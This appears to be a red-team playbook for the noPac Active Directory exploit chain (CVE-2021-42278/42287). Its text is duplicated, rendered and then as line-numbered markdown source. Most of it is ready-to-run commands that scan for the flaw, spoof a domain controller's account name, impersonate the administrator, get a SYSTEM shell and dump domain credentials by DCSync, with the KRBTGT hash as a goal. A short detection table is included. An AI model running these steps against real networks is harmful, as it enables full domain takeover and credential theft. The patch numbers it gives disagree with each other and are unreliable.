Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)
Overview
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
Objectives
- Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)
- Create or leverage a machine account with modified sAMAccountName
- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller
- Use the DC ticket to perform DCSync and dump domain credentials
- Achieve Domain Admin access from a standard domain user account
- Document the complete exploitation chain with evidence
MITRE ATT&CK Mapping
- T1068 - Exploitation for Privilege Escalation
- T1136.002 - Create Account: Domain Account
- T1078.002 - Valid Accounts: Domain Accounts
- T1558 - Steal or Forge Kerberos Tickets
- T1003.006 - OS Credential Dumping: DCSync
Implementation Steps
Phase 1: Vulnerability Scanning
- Check if the domain is vulnerable using the noPac scanner:
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
- Verify the MachineAccountQuota (default is 10, allows any user to join computers):
# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
Phase 2: Exploitation with noPac Tool
- Run the full noPac exploit chain:
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
- The exploit automatically:
- Creates a new machine account (or uses an existing one)
- Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")
- Requests a TGT for the spoofed account name
- Restores the original sAMAccountName
- Uses S4U2self to obtain a service ticket impersonating the target user
- The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)
Phase 3: Post-Exploitation
- With the obtained Domain Controller ticket, perform DCSync:
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC
- Alternatively, obtain a semi-interactive shell:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
Phase 4: Manual Exploitation Steps
- Create a machine account:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Clear the SPN and rename sAMAccountName:
# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Request a TGT for the spoofed name:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
- Restore the original machine name:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
- Use S4U2self for impersonation:
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
Tools and Resources
| Tool |
Purpose |
Platform |
| noPac (cube0x0) |
Automated scanner and exploiter |
Python |
| noPac (Ridter) |
Alternative exploit implementation |
Python |
| Impacket |
Kerberos ticket manipulation, DCSync |
Python |
| CrackMapExec |
Vulnerability scanning module |
Python |
| Rubeus |
Windows Kerberos ticket operations |
Windows (.NET) |
| secretsdump.py |
Post-exploitation credential dumping |
Python |
CVE Details
| CVE |
Description |
CVSS |
Patch |
| CVE-2021-42278 |
sAMAccountName spoofing (machine accounts) |
7.5 |
KB5008102 |
| CVE-2021-42287 |
KDC PAC confusion / privilege escalation |
7.5 |
KB5008380 |
Detection Signatures
| Indicator |
Detection Method |
| Machine account sAMAccountName change |
Event 4742 (computer account changed) with sAMAccountName modification |
| New machine account creation |
Event 4741 (computer object created) |
| TGT request for account without trailing $ |
Kerberos audit log analysis |
| S4U2self requests from non-DC machine accounts |
Event 4769 with unusual service ticket requests |
| Rapid sequence: create account, rename, request TGT |
SIEM correlation rule for noPac attack pattern |
Validation Criteria
1---2name: exploiting-nopac-cve-2021-42278-422873description: Exploit the noPac vulnerability chain (CVE-2021-42278 sAMAccountName spoofing and CVE-2021-42287 KDC PAC confusion) to escalate from standard domain user to Domain Admin in Active Directory environments.4domain: cybersecurity5subdomain: red-teaming6tags: [red-team, active-directory, nopac, cve-2021-42278, cve-2021-42287, privilege-escalation, domain-escalation]7version: "1.0"8author: mahipal9license: Apache-2.010---1112# Exploiting noPac (CVE-2021-42278 / CVE-2021-42287)1314## Overview1516noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.1718## Objectives1920- Scan the target domain for noPac vulnerability (CVE-2021-42278/42287)21- Create or leverage a machine account with modified sAMAccountName22- Exploit the KDC PAC confusion to obtain a TGT for the Domain Controller23- Use the DC ticket to perform DCSync and dump domain credentials24- Achieve Domain Admin access from a standard domain user account25- Document the complete exploitation chain with evidence2627## MITRE ATT&CK Mapping2829- **T1068** - Exploitation for Privilege Escalation30- **T1136.002** - Create Account: Domain Account31- **T1078.002** - Valid Accounts: Domain Accounts32- **T1558** - Steal or Forge Kerberos Tickets33- **T1003.006** - OS Credential Dumping: DCSync3435## Implementation Steps3637### Phase 1: Vulnerability Scanning381. Check if the domain is vulnerable using the noPac scanner:39 ```bash40 # Using cube0x0's noPac scanner41 python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.14243 # Using CrackMapExec module44 crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac45 ```462. Verify the MachineAccountQuota (default is 10, allows any user to join computers):47 ```bash48 # Check MachineAccountQuota via LDAP49 python3 -c "50 import ldap351 server = ldap3.Server('10.10.10.1')52 conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)53 conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])54 print(conn.entries[0]['ms-DS-MachineAccountQuota'])55 "56 ```5758### Phase 2: Exploitation with noPac Tool591. Run the full noPac exploit chain:60 ```bash61 # Using cube0x0's noPac (gets a shell on the DC)62 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \63 -dc-host DC01 -shell --impersonate administrator -use-ldap6465 # Using Ridter's noPac (alternative implementation)66 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \67 --impersonate administrator -dump68 ```692. The exploit automatically:70 - Creates a new machine account (or uses an existing one)71 - Renames the machine account's sAMAccountName to match the DC (e.g., "DC01")72 - Requests a TGT for the spoofed account name73 - Restores the original sAMAccountName74 - Uses S4U2self to obtain a service ticket impersonating the target user75 - The KDC finds no account matching "DC01" and falls back to "DC01$" (the real DC)7677### Phase 3: Post-Exploitation781. With the obtained Domain Controller ticket, perform DCSync:79 ```bash80 # DCSync using secretsdump.py with the Kerberos ticket81 export KRB5CCNAME=administrator.ccache82 secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local8384 # Or directly through the noPac shell85 # The shell runs as SYSTEM on the DC86 ```872. Alternatively, obtain a semi-interactive shell:88 ```bash89 python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \90 -dc-host DC01 -shell --impersonate administrator -use-ldap91 ```9293### Phase 4: Manual Exploitation Steps941. Create a machine account:95 ```bash96 addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \97 -dc-ip 10.10.10.1 domain.local/user:'Password123'98 ```992. Clear the SPN and rename sAMAccountName:100 ```bash101 # Rename machine account sAMAccountName to DC name (without $)102 renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \103 -dc-ip 10.10.10.1 domain.local/user:'Password123'104 ```1053. Request a TGT for the spoofed name:106 ```bash107 getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'108 ```1094. Restore the original machine name:110 ```bash111 renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \112 -dc-ip 10.10.10.1 domain.local/user:'Password123'113 ```1145. Use S4U2self for impersonation:115 ```bash116 export KRB5CCNAME=DC01.ccache117 getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \118 -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'119 ```120121## Tools and Resources122123| Tool | Purpose | Platform |124|------|---------|----------|125| noPac (cube0x0) | Automated scanner and exploiter | Python |126| noPac (Ridter) | Alternative exploit implementation | Python |127| Impacket | Kerberos ticket manipulation, DCSync | Python |128| CrackMapExec | Vulnerability scanning module | Python |129| Rubeus | Windows Kerberos ticket operations | Windows (.NET) |130| secretsdump.py | Post-exploitation credential dumping | Python |131132## CVE Details133134| CVE | Description | CVSS | Patch |135|-----|-------------|------|-------|136| CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 |137| CVE-2021-42287 | KDC PAC confusion / privilege escalation | 7.5 | KB5008380 |138139## Detection Signatures140141| Indicator | Detection Method |142|-----------|-----------------|143| Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification |144| New machine account creation | Event 4741 (computer object created) |145| TGT request for account without trailing $ | Kerberos audit log analysis |146| S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests |147| Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |148149## Validation Criteria150151- [ ] Domain scanned for noPac vulnerability152- [ ] MachineAccountQuota verified (default 10)153- [ ] Exploit executed successfully (shell or DCSync)154- [ ] Domain Admin privileges obtained from standard user155- [ ] DCSync performed to dump domain credentials156- [ ] KRBTGT hash obtained for persistence validation157- [ ] Attack chain documented with timestamps158- [ ] Patch status verified (KB5008380, KB5008602)